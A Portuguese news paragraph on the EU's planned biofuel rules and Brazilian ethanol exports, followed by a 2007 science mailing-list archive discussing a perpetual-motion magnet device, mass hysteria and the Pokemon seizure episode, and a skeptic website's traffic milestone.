Em consulta pública promovida por Bruxelas em julho de 2006, o Brasil alertou que poderá recorrer à Organização Mundial do Comércio (OMC) se a futura diretiva discriminar o etanol do país. Mas representantes da UE recentemente sinalizaram a técnicos brasileiros que a tendência é clara. Entre um sistema de certificação para evitar o uso de biocombustíveis "de pobre desempenho ambiental" e a concessão de incentivos em função de sustentabilidade, Bruxelas prefere a segunda opção. A idéia é oferecer mais subsídios aos produtores da UE que emitirem menos C02 na produção de etanol, além de abatimento fiscal.

Os importadores que respeitarem os critérios ambientais, por sua vez, poderão ter redução tarifária. Em todo caso, parece claro que o custo aumentará para que os exportadores se enquadrem neste futuro sistema europeu. Em documento enviado no passado à UE, o Brasil argumenta que a experiência do país no etanol comprova que é possível produzir grandes volumes de biocombustíveis de maneira sustentável. Em defesa dos interesses dos exportadores, o documento diz que a área plantada de cana para produzir álcool equivale a menos de 0,4% do território nacional e está concentrada no Sudeste, sobretudo em São Paulo.

Em sua argumentação junto à UE, o Brasil ressalta, ainda, que o transporte representa 21% da emissão de gases de efeito estufa no bloco europeu. E insiste que os biocombustíveis são a melhor opção para o transporte rodoviário. Para o Brasil, a questão da certificação é uma decisão interna da UE. Mas, se o mecanismo for efetivamente adotado, o país defende que sejam levados em conta ao menos três pontos: que a aplicação também envolva combustíveis fósseis (gasolina, carvão etc), para evitar que os biocombustíveis tenham desvantagem competitiva; que a certificação será tão custosa e de gerenciamento tão complexo que poderá restringir a expansão do bioetanol; e que a diretriz deve ser aplicada de maneira a evitar discriminações entre o produtor doméstico e o etanol importado, para respeitar as regras da OMC. (AM)


SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/04/2007 19:29

Continuo afirmando:

O binômio de Newton é mais belo é infinitamente mais produtivo que a Vênus de Milo. Tal binômio é aprendido e apreciado desde o ensino médio ... e a tal Vênus? Para que serve? Olhar para o quadro e dizer "Que lindo! Que tendência ao infinito! Que maestria de pinceladas? ??? Oh! Como é belo! ... e, tchau!
Ah! Esqueci ... tem a camisinha de vênus, que é utilizada justamente para não produzir nada!
:-))))))
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 18 de abril de 2007 15:41
Assunto: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)


Achei sem querer esse site na net:

http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm

Sobra pro Takata, pro Brudna, pro Daniel...só quem
escapa é Kentaro Mori.

Existe alguma retratação pública de vocês sobre esse fato???

"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 21:24


Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /Energia de ímã.doc
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Energia de ímã

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/Energia%20de%20%80%A0%A6%EDm%80%A0%A6%E3.doc

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






SUBJECT: Energia de ímãs
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/04/2007 22:10

Olá a todos,

Enviei para a área de Arquivos do grupo um .doc (Energia de íma.doc)
que trata de mais um candidato a moto-contínuo-"perpetularium", desta
vez eletromagnético.

Recorro aos mestres da lista para responder a velha pergunta: onde
está o erro? (se é que existe, sei lá: desde que o Lula foi reeleito,
não duvido de mais nada!)

Obrigado

Tipoalgo



SUBJECT: Re: [ciencialist] OFF TOPIC - Correcao artistica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 08:34

Onde se lê 'quadro', 'tela', 'pintura' etc. leia-se estátua, escultura etc. Na verdade a correção é devida ao Roberto ... sabe quando vc escreve uma coisa pensando em outra? Foi assim. Sorry meu deslize artístico! De um lado vc vê uma estátua partida e do outro vê um quadro na parede e acaba escrevendo sobre um pensando sobre o outro.
Na verdade, sabe em que quadro estava pensando ... aquele cheio de bandeirinhas coloridas!

:-))

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 18 de abril de 2007 19:29
Assunto: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)


Continuo afirmando:

O binômio de Newton é mais belo é infinitamente mais produtivo que a Vênus de Milo. Tal binômio é aprendido e apreciado desde o ensino médio ... e a tal Vênus? Para que serve? Olhar para o quadro e dizer "Que lindo! Que tendência ao infinito! Que maestria de pinceladas? ??? Oh! Como é belo! ... e, tchau!
Ah! Esqueci ... tem a camisinha de vênus, que é utilizada justamente para não produzir nada!
:-))))))
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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SUBJECT: Re: [ciencialist] Energia de ímãs
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 08:53

O erro é simples de ser observado nesse caso. O sistema intermediário composto de rotor de 2 ímãs e estator de outros 2 ímãs é totalmente inoperante (e só vem a prejudicar o sistema roubando energia de rotação) pois a energia mecânica é dada ao "eixo" do rotor e se transfere identicamente ao ímã rotor que induz corrente no enrolamento estator.
Esse sistema intermediário constituído apenas de ímãs (não tendo nenhum sistema externo para controlar as atrações e repulsões) não pode acrescentar torque algum ao eixo.

Quer ver essa geringonça funcionar? Substitua os dois ímãs fixos desse sistema intermediário por eletroímãs alimentados com CA extra (não a gerada à esquerda!).

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 18 de abril de 2007 22:10
Assunto: [ciencialist] Energia de ímãs


Olá a todos,

Enviei para a área de Arquivos do grupo um .doc (Energia de íma.doc)
que trata de mais um candidato a moto-contínuo-"perpetularium", desta
vez eletromagnético.

Recorro aos mestres da lista para responder a velha pergunta: onde
está o erro? (se é que existe, sei lá: desde que o Lula foi reeleito,
não duvido de mais nada!)

Obrigado

Tipoalgo



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SUBJECT: Convite a^2 Fisica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 08:59

Retransmitindo o convite.
+++++++++++++++++++++++++

From: Sociedade Brasileira de Física <sbfisica@sbfisica.org.br>
To: <leobarretos@uol.com.br>
Subject: Convite à Fí­sica 2007
Date: Wed, 18 Apr 2007 16:06:38 -0300

"Convite à Fí­sica 2007"

quarta-feira, dia 25 de abril, às 18 hs

"O Elétron é uma Partícula"
Palestrante: Prof. Orlando Peres - IFGW - UNICAMP

Iniciaremos a transmissão ao vivo a partir das 17 hs e 30 minutos a fim de poder resolver eventuais problemas de conexão. Favor entrar em contato pelo e-mail: convite@fma.if.usp.br, em caso de problemas.

Lembramos que para assistir aos colóquios ao vivo basta ir a http://fma.if.usp.br/convite/web-cast/video-vivo.html.

É necessário possuir a última versão do programa Realplayer.

Os Organizadores

Departamento de Física Matemática
IFUSP
+++++++++++++++++++

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 10:04

On 4/19/07, Chicao Valadares <chicaovaladares@yahoo.com.br> wrote:
> http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm
>
> Sobra pro Takata, pro Brudna, pro Daniel...só quem
> escapa é Kentaro Mori.
>
> Existe alguma retratação pública de vocês sobre esse fato???
>>>

A página está desatualizada, já que desde então o autor também passou
a duvidar da qualidade de meu ceticismo, assim fico em boa companhia.

Mori


SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 10:12

Gil, você leu e pelo visto entendeu então o artigo. Não sei então por
que questionou meu sumário. De 12.000 crianças supostamente afligidas
pelo episódio -- de acordo com investigações consultando diretorias
escolares locais -- apenas em torno de 600 provavelmente sofreram
ataques epilépticos. Todo o resto descreveu sintomas mais associados à
histeria coletiva, incluindo o detalhe crucial de que surgiram após o
pânico ser divulgado na mídia.

Abraço,

Mori

On 4/19/07, Gil <nanolink01@gmail.com> wrote:
> Eu li.
>
> > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série animada
> > > levou
> > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > porcentagem
> > > destas de fato foi afetada por ataques de epilepsia provocados pelas
> cores
> > > vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> > > crianças relatando sintomas físicos participava de um surto de histeria
> > > coletiva.
>
> 700 crianças sofreram ataques epiléticos. Inclusive o texto dá informações
> esclarecedoras:
> - As crianças japonesas se sentam mto próximas à tv, provavlemente um hábito
> correlacionado com a arquitetura das casas, geralmente pequenas.
>
> Isso é significativo considerando a forte incidência de ataques, e também me
> ajuda a entender porque sempre passa o aviso "Não se sente muito próximo da
> tv, e mantenha as luzes do quarto acesas", no início de cada anime. Com
> essas novas informações, entendi porque existe essa preocupação por parte
> dos japoneses, que eu já tinha percebido em meu antigo videogame.
>
> Alguns dias depois, os médicos associaram a entrada de 12.000 crianças com
> sintomas diversos. Acho que forçaram a barra aí, mas posso estar enganado,
> meu inglês não é muito bom.
>
> Homero, já que vc se interessou pelo assunto, dá sua opinião aí. Não tem
> problema se quiser escrever uma ilíada científica :)
> http://www.csicop.org/si/2001-05/pokemon.html
>
> Gil
>
> Em 18/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> >
> > Veja:
> > http://www.csicop.org/si/2001-05/pokemon.html
> >
> > Mori
> >
> > On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> > > Como um transtorno "associado" a fatores de stress pode ser causado por
> > um
> > > desenho animado?! E de bichinhos fofinhos, ainda? E como seria acionado
> > um
> > > transtorno "coletivo" ou "de massas", considerando que cada criança vê
> > tv em
> > > sua propria casa ?
> > >
> > > "Pequena Porcentagem" "por epilepsia", só poder ser brincadeira: O meu
> > > "master System" com óculos 3d vinha com aviso para crianças com esse
> > tipo
> > > epilepsia tomarem cuidado com as sequências coloridas dos jogos "3d" da
> > > época.
> > >
> > > Gil
> > >
> > > Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> > > >
> > > > (... ) Este transtorno faz referência ao que tradicionalmente se
> > denomina
> > > > histeria
> > > > coletiva ou histeria de massas. Trata-se de um fenômeno grupal ou
> > coletivo
> > > > onde os afetados geralmente são jovens, que desenvolvem sintomas como
> > > > náusea, vertigem, diarréia e
> > > > alterações no passo, e que não possui explicação biológica
> > demonstrável,
> > > > além de estar associados a fatores de estresse.
> > > >
> > >
> > > (...) Os casos recentes de transtornos conversivos epidêmicos ocorreram
> > > > principalmente entre colegiais, com adolescentes submetidos a diversas
> > > > situações de estresse.
> > > >
> > > > .
> > > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> > animada
> > > > levou
> > > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > > porcentagem
> > > > destas de fato foi afetada por ataques de epilepsia provocados pelas
> > cores
> > > > vibrantes piscando na TV. A enorme maioria das centenas, milhares de
> > > > crianças relatando sintomas físicos participava de um surto de
> > histeria
> > > > coletiva.
> >
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> >
> > Página de apoio
> > http://www.ciencialist.com
> >
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> > Links do Yahoo! Grupos
> >
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> [As partes desta mensagem que não continham texto foram removidas]
>
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>


SUBJECT: Pedagogia Ecologica
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 19/04/2007 10:43

---------- Forwarded message ----------
From: Luiz Santa lsantac@ <lsantac@gmail.com>...

Para aqueles interessados (...), vale a pena a leitura do livro
"Alfabetização Ecológica - do Fritjof Capra e outros - A Educação das
crianças para um mundo sustentável". Estou lendo, e a cada tópico me encanto
mais com a lucidez e com a maneira de abordar os temas.

Veja mais em http://www.agirazul.com.br/fsm4/_fsm/0000003a.htm

abraços, Luiz


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 10:54

Questão de interpretaçao, entao.

Considerava o episodio pokemon como o dessas centenas crianças (até porque,
eu conhecia o "fenômeno" da epilepsia a partir dos avisos dos jogos em 3d),
e pensei que se referia a uma parcela delas, ao falar em 'pequena
porcentagem'.

Gil

Em 19/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> Gil, você leu e pelo visto entendeu então o artigo. Não sei então por
> que questionou meu sumário. De 12.000 crianças supostamente afligidas
> pelo episódio -- de acordo com investigações consultando diretorias
> escolares locais -- apenas em torno de 600 provavelmente sofreram
> ataques epilépticos. Todo o resto descreveu sintomas mais associados à
> histeria coletiva, incluindo o detalhe crucial de que surgiram após o
> pânico ser divulgado na mídia.
>
> Abraço,
>
> Mori
>
> On 4/19/07, Gil <nanolink01@gmail.com> wrote:
> > Eu li.
> >
> > > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> animada
> > > > levou
> > > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > > porcentagem
> > > > destas de fato foi afetada por ataques de epilepsia provocados
> pelas
> > cores
> > > > vibrantes piscando na TV. A enorme maioria das centenas, milhares
> de
> > > > crianças relatando sintomas físicos participava de um surto de
> histeria
> > > > coletiva.
> >
> > 700 crianças sofreram ataques epiléticos. Inclusive o texto dá
> informações
> > esclarecedoras:
> > - As crianças japonesas se sentam mto próximas à tv, provavlemente um
> hábito
> > correlacionado com a arquitetura das casas, geralmente pequenas.
> >
> > Isso é significativo considerando a forte incidência de ataques, e
> também me
> > ajuda a entender porque sempre passa o aviso "Não se sente muito
> próximo da
> > tv, e mantenha as luzes do quarto acesas", no início de cada anime. Com
> > essas novas informações, entendi porque existe essa preocupação por
> parte
> > dos japoneses, que eu já tinha percebido em meu antigo videogame.
> >
> > Alguns dias depois, os médicos associaram a entrada de 12.000 crianças
> com
> > sintomas diversos. Acho que forçaram a barra aí, mas posso estar
> enganado,
> > meu inglês não é muito bom.
> >
> > Homero, já que vc se interessou pelo assunto, dá sua opinião aí. Não
> tem
> > problema se quiser escrever uma ilíada científica :)
> > http://www.csicop.org/si/2001-05/pokemon.html
> >
> > Gil
> >
> > Em 18/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> >
> > >
> > > Veja:
> > > http://www.csicop.org/si/2001-05/pokemon.html
> > >
> > > Mori
> > >
> > > On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> > > > Como um transtorno "associado" a fatores de stress pode ser causado
> por
> > > um
> > > > desenho animado?! E de bichinhos fofinhos, ainda? E como seria
> acionado
> > > um
> > > > transtorno "coletivo" ou "de massas", considerando que cada criança
> vê
> > > tv em
> > > > sua propria casa ?
> > > >
> > > > "Pequena Porcentagem" "por epilepsia", só poder ser brincadeira: O
> meu
> > > > "master System" com óculos 3d vinha com aviso para crianças com
> esse
> > > tipo
> > > > epilepsia tomarem cuidado com as sequências coloridas dos jogos
> "3d" da
> > > > época.
> > > >
> > > > Gil
> > > >
> > > > Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> > > > >
> > > > > (... ) Este transtorno faz referência ao que tradicionalmente se
> > > denomina
> > > > > histeria
> > > > > coletiva ou histeria de massas. Trata-se de um fenômeno grupal ou
> > > coletivo
> > > > > onde os afetados geralmente são jovens, que desenvolvem sintomas
> como
> > > > > náusea, vertigem, diarréia e
> > > > > alterações no passo, e que não possui explicação biológica
> > > demonstrável,
> > > > > além de estar associados a fatores de estresse.
> > > > >
> > > >
> > > > (...) Os casos recentes de transtornos conversivos epidêmicos
> ocorreram
> > > > > principalmente entre colegiais, com adolescentes submetidos a
> diversas
> > > > > situações de estresse.
> > > > >
> > > > > .
> > > > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> > > animada
> > > > > levou
> > > > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > > > porcentagem
> > > > > destas de fato foi afetada por ataques de epilepsia provocados
> pelas
> > > cores
> > > > > vibrantes piscando na TV. A enorme maioria das centenas, milhares
> de
> > > > > crianças relatando sintomas físicos participava de um surto de
> > > histeria
> > > > > coletiva.
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> > > Página de apoio
> > > http://www.ciencialist.com
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> > > Links do Yahoo! Grupos
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> > [As partes desta mensagem que não continham texto foram removidas]
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> Página de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Pedagogia Ecologica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 11:12

Oi Xará,
Espero que "e outros" consigam salvar o livro pois, se depender mais da Fritjof lá vem misticismo oriental na 'alta pedagogia da ecologia'.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: <undisclosed-recipients:>
Enviada em: quinta-feira, 19 de abril de 2007 10:43
Assunto: [ciencialist] Pedagogia Ecologica


---------- Forwarded message ----------
From: Luiz Santa lsantac@ <lsantac@gmail.com>...

Para aqueles interessados (...), vale a pena a leitura do livro
"Alfabetização Ecológica - do Fritjof Capra e outros - A Educação das
crianças para um mundo sustentável". Estou lendo, e a cada tópico me encanto
mais com a lucidez e com a maneira de abordar os temas.

Veja mais em http://www.agirazul.com.br/fsm4/_fsm/0000003a.htm

abraços, Luiz




SUBJECT: Re: [ciencialist] Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 11:37

Tudo bem. 600 casos prováveis de epilepsia entre 12.000 de histeria
representam em torno de 0,5%. Daí porque o pânico Pokemon talvez seja
melhor retratado como um exemplo de histeria coletiva -- mesmo que o
episódio realmente possa ter provcado convulsões epilépticas em
centenas de crianças.

Abraço,

Mori

On 4/19/07, Gil <nanolink01@gmail.com> wrote:
>
>
>
>
>
>
> Questão de interpretaçao, entao.
>
> Considerava o episodio pokemon como o dessas centenas crianças (até porque,
> eu conhecia o "fenômeno" da epilepsia a partir dos avisos dos jogos em 3d),
> e pensei que se referia a uma parcela delas, ao falar em 'pequena
> porcentagem'.
>
> Gil
>
> Em 19/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> >
> > Gil, você leu e pelo visto entendeu então o artigo. Não sei então por
> > que questionou meu sumário. De 12.000 crianças supostamente afligidas
> > pelo episódio -- de acordo com investigações consultando diretorias
> > escolares locais -- apenas em torno de 600 provavelmente sofreram
> > ataques epilépticos. Todo o resto descreveu sintomas mais associados à
> > histeria coletiva, incluindo o detalhe crucial de que surgiram após o
> > pânico ser divulgado na mídia.
> >
> > Abraço,
> >
> > Mori
> >
> > On 4/19/07, Gil <nanolink01@gmail.com> wrote:
> > > Eu li.
> > >
> > > > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> > animada
> > > > > levou
> > > > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > > > porcentagem
> > > > > destas de fato foi afetada por ataques de epilepsia provocados
> > pelas
> > > cores
> > > > > vibrantes piscando na TV. A enorme maioria das centenas, milhares
> > de
> > > > > crianças relatando sintomas físicos participava de um surto de
> > histeria
> > > > > coletiva.
> > >
> > > 700 crianças sofreram ataques epiléticos. Inclusive o texto dá
> > informações
> > > esclarecedoras:
> > > - As crianças japonesas se sentam mto próximas à tv, provavlemente um
> > hábito
> > > correlacionado com a arquitetura das casas, geralmente pequenas.
> > >
> > > Isso é significativo considerando a forte incidência de ataques, e
> > também me
> > > ajuda a entender porque sempre passa o aviso "Não se sente muito
> > próximo da
> > > tv, e mantenha as luzes do quarto acesas", no início de cada anime. Com
> > > essas novas informações, entendi porque existe essa preocupação por
> > parte
> > > dos japoneses, que eu já tinha percebido em meu antigo videogame.
> > >
> > > Alguns dias depois, os médicos associaram a entrada de 12.000 crianças
> > com
> > > sintomas diversos. Acho que forçaram a barra aí, mas posso estar
> > enganado,
> > > meu inglês não é muito bom.
> > >
> > > Homero, já que vc se interessou pelo assunto, dá sua opinião aí. Não
> > tem
> > > problema se quiser escrever uma ilíada científica :)
> > > http://www.csicop.org/si/2001-05/pokemon.html
> > >
> > > Gil
> > >
> > > Em 18/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> > >
> > > >
> > > > Veja:
> > > > http://www.csicop.org/si/2001-05/pokemon.html
> > > >
> > > > Mori
> > > >
> > > > On 4/18/07, Gil <nanolink01@gmail.com> wrote:
> > > > > Como um transtorno "associado" a fatores de stress pode ser causado
> > por
> > > > um
> > > > > desenho animado?! E de bichinhos fofinhos, ainda? E como seria
> > acionado
> > > > um
> > > > > transtorno "coletivo" ou "de massas", considerando que cada criança
> > vê
> > > > tv em
> > > > > sua propria casa ?
> > > > >
> > > > > "Pequena Porcentagem" "por epilepsia", só poder ser brincadeira: O
> > meu
> > > > > "master System" com óculos 3d vinha com aviso para crianças com
> > esse
> > > > tipo
> > > > > epilepsia tomarem cuidado com as sequências coloridas dos jogos
> > "3d" da
> > > > > época.
> > > > >
> > > > > Gil
> > > > >
> > > > > Em 16/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
> > > > > >
> > > > > > (... ) Este transtorno faz referência ao que tradicionalmente se
> > > > denomina
> > > > > > histeria
> > > > > > coletiva ou histeria de massas. Trata-se de um fenômeno grupal ou
> > > > coletivo
> > > > > > onde os afetados geralmente são jovens, que desenvolvem sintomas
> > como
> > > > > > náusea, vertigem, diarréia e
> > > > > > alterações no passo, e que não possui explicação biológica
> > > > demonstrável,
> > > > > > além de estar associados a fatores de estresse.
> > > > > >
> > > > >
> > > > > (...) Os casos recentes de transtornos conversivos epidêmicos
> > ocorreram
> > > > > > principalmente entre colegiais, com adolescentes submetidos a
> > diversas
> > > > > > situações de estresse.
> > > > > >
> > > > > > .
> > > > > > Um caso especialmente notável é a histeria coletiva Pokemón em
> > > > > > 1997 da qual muitos ainda devem se lembrar. Um episódio da série
> > > > animada
> > > > > > levou
> > > > > > centenas de crianças a relatar mal-estar, mas apenas uma pequena
> > > > > > porcentagem
> > > > > > destas de fato foi afetada por ataques de epilepsia provocados
> > pelas
> > > > cores
> > > > > > vibrantes piscando na TV. A enorme maioria das centenas, milhares
> > de
> > > > > > crianças relatando sintomas físicos participava de um surto de
> > > > histeria
> > > > > > coletiva.
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SUBJECT: CeticismoAberto ultrapassa 25 milhões de acessos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, curtasca@yahoogroups.com
DATE: 19/04/2007 12:05

O sítio educacional CeticismoAberto, oferecendo gratuitamente mais de
quinhentas páginas de conteúdo, ultrapassou neste mês de abril o
número recorde de 25 milhões de visitas -- mais precisamente,
25.135.235 páginas vistas por 4.160.688 internautas, apuradas pelo
serviço independente sitemeter
http://www.sitemeter.com/?a=stats&s=sm9airsmither

Nosso pequeno sítio cético está entre os mais visitados sobre ufologia
e paranormal, chegando mesmo a ultrapassar contrapartes notáveis.
Experimente comparar o alcance de CeticismoAberto com o de outros
sítios alternativos conhecidos através do ranking Alexa no seguinte
link:
http://tinyurl.com/uzreb
Digite o endereço dos sítios para comparação logo abaixo do gráfico e
veja, por exemplo, como temos o dobro de acessos do maior sítio de
ufologia do país.

CeticismoAberto não possui fins lucrativos, e toda renda publicitária
gerada pela avalanche de visitas é direcionada ao projeto HAAAN,
promovendo iniciativas na rede livres de crença no sobrenatural. HAAAN
abriga gratuitamente uma série de outros sítios, além de conceder o
prêmio "Candela" a personalidades que se destacaram ao "ajudar a
iluminar o mundo". O balanço financeiro do projeto pode ser conferido
em
http://www.haaan.com/balanco/

Enfatizamos que a investigação cética não ameaça a verdade real. Se
uma alegação é válida, mesmo o mais ardoroso dos questionamentos
produzirá no máximo uma confirmação adicional de sua validade. Se ela
está errada, ganhamos uma oportunidade de descobrir a resposta
correta. O sucesso de CeticismoAberto não só demonstra que este
ceticismo é muito bem-vindo, como significa que aqueles interessados
pela ufologia e paranormal só têm a ganhar. Com os recursos
provenientes poderemos investir em um maior esclarecimento de diversos
temas.

Tudo isso se deve aos autores dos textos, aos colaboradores -- que
incluem aqueles que, ano ano de 2005, fizeram doações em dinheiro que
garantiram a continuidade do sítio até este ano -- e, principalmente,
aos milhões de visitantes. Pensamos que a melhor forma com a qual
poderemos agradecer a todos é continuar e expandir este trabalho,
sempre oferecido de forma aberta e gratuita.

Mas isso não nos impede de agradecer aqui também, com a maior ênfase
possível, sua ajuda! Bilhões e bilhões de agradecimentos!

CeticismoAberto
http://www.ceticismoaberto.com/


SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/04/2007 14:16

Olá Leo.

O binômio de Newton é mais belo é infinitamente mais produtivo que a
Vênus de Milo. Tal binômio é aprendido e apreciado desde o ensino
médio ... e a tal Vênus? Para que serve? Olhar para o quadro e dizer
"Que lindo! Que tendência ao infinito! Que maestria de pinceladas? ???
Oh! Como é belo! ... e, tchau!


Quadro?
http://pt.wikipedia.org/wiki/V%C3%AAnus_de_Milo

Inté+
Mauro



SUBJECT: Re: [ciencialist] OFF TOPIC - Crítica ao Ceticismo(A STR, ao Brudna etc....)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 15:44

hahaha...boa kentaro...
Não precisam esclarecer mais nada. Já me disseram em
pvt do que se tratava.

Meus Amplexos.


--- Kentaro Mori <kentaro.mori@gmail.com> escreveu:

> On 4/19/07, Chicao Valadares
> <chicaovaladares@yahoo.com.br> wrote:
> >
>
http://paginas.terra.com.br/educacao/criticandokardec/criticandooceticismo.htm
> >
> > Sobra pro Takata, pro Brudna, pro Daniel...só
> quem
> > escapa é Kentaro Mori.
> >
> > Existe alguma retratação pública de vocês sobre
> esse fato???
> >>>
>
> A página está desatualizada, já que desde então o
> autor também passou
> a duvidar da qualidade de meu ceticismo, assim fico
> em boa companhia.
>
> Mori
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/ CHicao : Histeria coletiva afeta 600 meninas no México: a conexão OVNI
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/04/2007 16:03

Publicações sérias sobre isso que você afirma??

Segundo a notícia que eu li, eles investigaram tudo e
como não acharam nenhuma evidência LOGO era histeria
coletiva.
Daí minha indagação.


--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "Histeria coletiva sempre paga o pato???
> Quer dizer
> > quando não encontram nenhuma explicação jogam pra
> esse
> > tipo de argumento???Como se prova que um grupo
> teve
> > histeria coletiva???
> > Como se pode afirmar algo que não se pode
> provar???"
>
> Não é bem assim, Chicão. Processos de histeria
> coletiva são conhecidos
> e descritos nos comportamentos humanos, e podem ser
> observados em
> quase todo jogo de futebol com torcidas organizadas.
> Mecanismos de
> reforço, derivados de processos cognitivos como
> neurônios espelho e
> empatia psicológica podem estar na raiz de muitos
> comportamentos de
> grupo, e ainda que sejam precisos muitos estudos
> para compreender bem
> como ocorrem, eles ocorrem.
>
> Quase todo quebra-quebra envolve algum tipo de
> descontrole, e muitos
> participantes não sabem bem porque agiram desta ou
> daquela forma
> durante o processo. Muitos se espantam ou ficam
> horrorizados com seu
> próprio comportamento.
>
> Animais gregários tem forte tendência a imitação, um
> comportamento
> importante para a sobrevivência em grupo. Faça o que
> seu vizinho
> estiver fazendo, e suas chances de sobreviver
> aumentam. Demore na
